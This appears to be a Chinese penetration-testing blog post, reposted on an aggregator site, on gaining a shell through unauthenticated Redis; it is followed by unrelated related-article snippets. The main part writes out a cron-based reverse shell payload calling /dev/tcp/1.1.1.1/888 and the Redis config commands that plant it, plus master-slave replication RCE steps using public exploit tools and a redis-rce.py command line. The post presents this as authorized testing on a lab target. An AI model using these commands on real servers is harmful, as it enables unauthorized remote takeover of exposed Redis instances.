redis 遠程主機強迫關閉了一個現有的連接_記一次Redis+Getshell經驗分享

你是我患得患失的夢,我是你可有可無的人,畢竟這穿越山河的箭,刺的都是用情之疾的人。

前言:

當我們接到一個授權滲透測試的時候,常規漏洞如注入、文件上傳等嘗試無果后,掃描端口可能會發現意外收獲。

知己知彼乃百戰不殆,Redis介紹:

簡單來說 redis 就是一個Key-Value類型的數據庫, redis 所有數據全部在內存中進行操作,并且它可以將內存中的數據定期存儲在磁盤中,并且支持保存多種數據結構(String、hash、list等)。

運籌帷幄之中,Redis漏洞:

1、未授權訪問漏洞

Redis在默認情況下,會綁定在0.0.0.0:6379,如果沒有采用限制IP訪問,就會將Redis服務暴露在公網上,并且在沒有設置密碼認證的情況下,會導致任意用戶未授權訪問Redis以及讀取Redis數據并寫入公鑰進行遠程連接等。

當拿到數據庫權限是不會滿足我們的,我們的目標只有一個getshell!

目前較主流的兩個方法,第一種定時計劃反彈shell、第二種利用主從復制rce。

2、定時計劃反彈shell

1)set x “\n * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n”

2)config set dir /var/spool/cron/

3)config set dbfilename root

4)save

3、利用主從復制rce

漏洞存在于4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機數據都是一樣的,從機只負責讀,主機只負責寫。在Reids 4.x之后,通過外部拓展,可以實現在redis中實現一個新的Redis命令,構造惡意.so文件。在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載惡意so文件,即可執行命令。

需要利用一個工具,GitHub下載即可。

1)git clone?

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)

2)git clone

https://github.com/Ridter/redis-rce.git

進而通過未授權訪問或者弱口令連接redis,執行腳本即可獲取shell。

79119a17d106df09a11130b8853a46b0.png

決勝千里之外,實戰演練:

本次掃到了6379也就是Redis,有的時候可能或改默認端口,建議全端口掃描,本次利用主從復制rce獲取shell(由于該漏洞已提交src,簽約保密協議,故搭建靶機還原真實環境,保證原汁原味。)

攻擊端ip:192.168.109.134

服務端ip:192.168.109.136

7a7143f42de537b40ed2f5b79508428e.png通過未授權訪問連接redis(如果有密碼,可以嘗試爆破,authpassword 登陸系統):Redis-cli –h ip

8a2fa3a0082a7c0aacda8bc2e11d5956.png利用主從復制rce獲取shell

首先要生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。

ecd9211e6a3fb592a06b577a20414feb.png攻擊端執行:

python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so

成功獲取shell

bef20fdb7c8644546a14d3948f1c8828.png

總結:

其實最難得還是需要細心,日常有授權測試的時候不要輕易放過任何數據包,以及一些js文件,它通常會給你帶來很多意外的驚喜。執著是好事,但是不能太鉆牛角尖,如果一個方面實在行不通的話,可以換條路走,畢竟條條大路最終都是通羅馬的。

*本文作者:ch8411,轉載請注明來自FreeBuf.COM

2daa26cb152bc1615897990115256ed0.gif

精彩推薦

a7ebb250ec095222b74e692b25a0fd14.png

8349c9c4846c3b49cbba8325d6503c79.png

2eba92ab2b64b1a477687cdfdb7324c8.png

eadfd3199ec3a4b530f1f1060f2c4a12.png

db412883eb34f166978669f6fb71eea4.gif

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/454388.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/454388.shtml
英文地址,請注明出處:http://en.pswp.cn/news/454388.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

無線連接 服務器,服務器無線遠程連接

服務器無線遠程連接 內容精選換一換華為云幫助中心,為用戶提供產品簡介、價格說明、購買指南、用戶指南、API參考、最佳實踐、常見問題、視頻幫助等技術文檔,幫助您快速上手使用華為云服務。使用Mac版Microsoft Remote Desktop工具,遠程連接W…

面試前您該做的事情

選自本人作品:《軟件性能測試與LR實戰》 無論您是剛剛畢業的大學生朋友,還是已經有工作經驗的同行,大家都不可避免的面臨一個問題就是找工作或者換工作的問題。在整個應聘過程中,面試無疑是最具有決定性意義的重要環節&#xff0c…

IO模型

IO模型介紹 傳統的網絡IO模型包括五種: blocking IO 阻塞IOnonblocking IO 非阻塞IOIO multiplexing IO多路復用signal driven IO 信號驅動IOasynchronous IO 異步IO 由于signal driven IO(信號驅動IO)在實際中…

重溫數據結構:樹 及 Java 實現(轉)

轉自:http://blog.csdn.net/u011240877/article/details/53193877 讀完本文你將了解到: 什么是樹樹的相關術語 根節點父親節點孩子節點葉子節點如上所述節點的度樹的度節點的層次樹的高度樹的深度樹的兩種實現 數組表示鏈表表示的節點樹的幾種常見分類及…

Powershell檢測AD賬戶密碼過期時間并郵件通知

腳本主要實現了兩個功能 : 一能判斷賬戶密碼的過期時間并通過郵件通知到賬戶; 二是將這些即將過期的賬戶信息累計通知到管理員。 腳本如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051…

js list刪除指定元素_vue.js

vue.js 中M V MV代表哪一部分 <插值表達式&#xff08;v-cloak v-text v-html v-bind&#xff08;縮寫是:&#xff09; v-on&#xff08;縮寫是&#xff09; v-model v-for v-if v-show &#xff09;<body><div id"app"><!-- 使用 v-cloak 能夠解決…

修改db2管理服務器,創建DB2管理服務器的兩種情況

DB2管理服務器在創建時分為創建一個和創建多個兩種情況&#xff0c;下面就為您詳細介紹這兩種創建DB2管理服務器的情況&#xff0c;供您參考學習。一、創建DB2管理服務器(只能創建一個)1、首先創建管理服務組用戶(可不建)命令&#xff1a;sudo groupadd dasadm12、創建用戶命令…

系統程序員成長計劃-走近專業程序員

轉載時請注明出處和作者聯系方式 文章出處&#xff1a;http://www.limodev.cn/blog 作者聯系方式&#xff1a;李先靜 <xianjimli at hotmail dot com> 需求簡述 用C語言編寫一個雙向鏈表。如果你有一定的C語言編程經驗&#xff0c;這自然是小菜一碟。有的讀者可能連一個…

Python 內置模塊之 asyncio(異步iO)

python3.0&#xff0c;標準庫里的異步網絡模塊&#xff1a;select(非常底層) &#xff0c;第三方異步網絡庫&#xff1a;Tornado&#xff0c;gevent python3.4&#xff0c;asyncio&#xff1a;支持 TCP &#xff0c;子進程 現在的asyncio&#xff0c;有了很多的模塊已經在支持…

前端js文件合并三種方式

最近在思考前端js文件該如何合并&#xff0c;當然不包括不能合并文件&#xff0c;而是我們能合并的文件&#xff0c;想了想應該也只有三種方式。 三個方式如下&#xff1a; 1. 一個大文件&#xff0c;所有js合并成一個大文件&#xff0c;所有頁面都引用它。 2. 各個頁面大文件&…

我們的系統檢測到您的計算機網絡中存在異常流量_如何建立我們的網絡防線?入侵檢測,確保我們的網絡安全...

目前我們的網絡安全趨勢日益嚴峻&#xff0c;那么如何利用入侵檢測系統確保我的網絡安全呢&#xff1f;入侵檢測又是什么呢&#xff1f;網絡安全入侵檢測技術是為保證計算機系統的安全&#xff0c;而設計與配置的一種能夠及時發現并報告系統中未授權或異常現象的技術&#xff0…

sql修改鏈接服務器名稱,SQL Server 創建鏈接服務器的腳本,自定義鏈路服務器的簡短名稱...

USE [master]GO/****** Object: LinkedServer [SQL01] Script Date: 2020/4/9 11:51:17 ******/EXEC master.dbo.sp_addlinkedserver server N‘SQL01‘, srvproductN‘‘, providerN‘SQLNCLI‘, datasrcN‘域名或者IP‘/* For security reasons the linked server remot…

mybatis $和#源代碼分析

JDBC中&#xff0c;主要使用兩種語句&#xff0c;一種是支持參數化和預編譯的PreparedStatement,支持原生sql,支持設置占位符&#xff0c;參數化輸入的參數&#xff0c;防止sql注入攻擊&#xff0c;在mybatis的mapper配置文件中&#xff0c;我們通過使用#和$告訴mybatis我們需要…

git 命令詳解和常見問題解決

功能一 提交&#xff1a;1:git init # 初始化&#xff0c;表示即將對當前文件夾進行版本控制2:git status # 查看Git當前狀態&#xff0c;如&#xff1a;那些文件被修改過、那些文件還未提交到版本庫等。3:git add . # 添加當前目錄下所有文件到版本…

辭職日記----記錄31歲的程序員跳槽心態

vcleaner http://topic.csdn.net/u/20080626/23/8f6a8ecc-c072-43ee-bf2d-7ac2286b6805.html http://topic.csdn.net/u/20080704/23/858fc00d-ec14-4db7-93be-34903b7f157a.html 轉載他的離職日記&#xff0c;有許多東西值得我們認真思考&#xff0c;人活著到底為了什么&a…

從Android源碼的角度分析Binder機制

IPC 為了弄懂IPC的來龍去脈&#xff0c;我將從以下三個方面為大家來講解&#xff0c;希望對大家理解IPC會有幫助 什么是IPC IPC是Inter Process Communication的縮寫&#xff0c;其意思就是進程間的通信&#xff0c;也就是兩個進程之間的通信過程。我們都知道在Android系統中&a…

excel vba 調用webbrowser_VBA 公式與函數

一, 在單元格中輸入公式的3種方法:1) 用VBA在單元格中輸入普通公式Sub formula_1() Range("d2") ("B2 * C2") End Sub運行程序后,在D2的單元格內顯示的是公式 B2 * C2 ,并非程序返回值.下文(二)中會介紹另外一種直接返回值的方式想要通過程序一…

內部類可以引用它的包含類的成員嗎?有沒有什么限制?

最近看到一道面試題&#xff1a;內部類可以引用它的包含類的成員嗎&#xff1f;有沒有什么限制&#xff1f; 答案大部分都是這樣子的&#xff1a; 完全可以。如果不是靜態內部類&#xff0c;那沒有什么限制&#xff01; 一個內部類對象可以訪問創建它的外部類對象的成員包括私有…

松下NPM服務器怎么備份系統,松下(Panasonic)-NPM校正amp;CPK完整版教程,一步步帶你成為SMT設備大神!...

馬上注冊&#xff0c;結交更多技術專家&#xff0c;享用更多功能&#xff0c;讓你輕松解決各種三星貼片機問題您需要 登錄 才可以下載或查看&#xff0c;沒有帳號&#xff1f;立即注冊 xa8f80375060fa05b8aebe69ffa21080c.gif (5.26 KB, 下載次數: 3)2019-8-12 00:02 上傳f5aae…

Python 模塊之科學計算 Pandas

目錄 一、Pandas簡介 數據結構 二、Series series 的創建 Series值的獲取 Series的運算 Series缺失值檢測 Series自動對齊 Series及其索引的name屬性 三、DataFrame 創建 Index對象 通過索引值或索引標簽獲取數據 自動化對齊 四、文件操作 文件讀取 數據庫數據…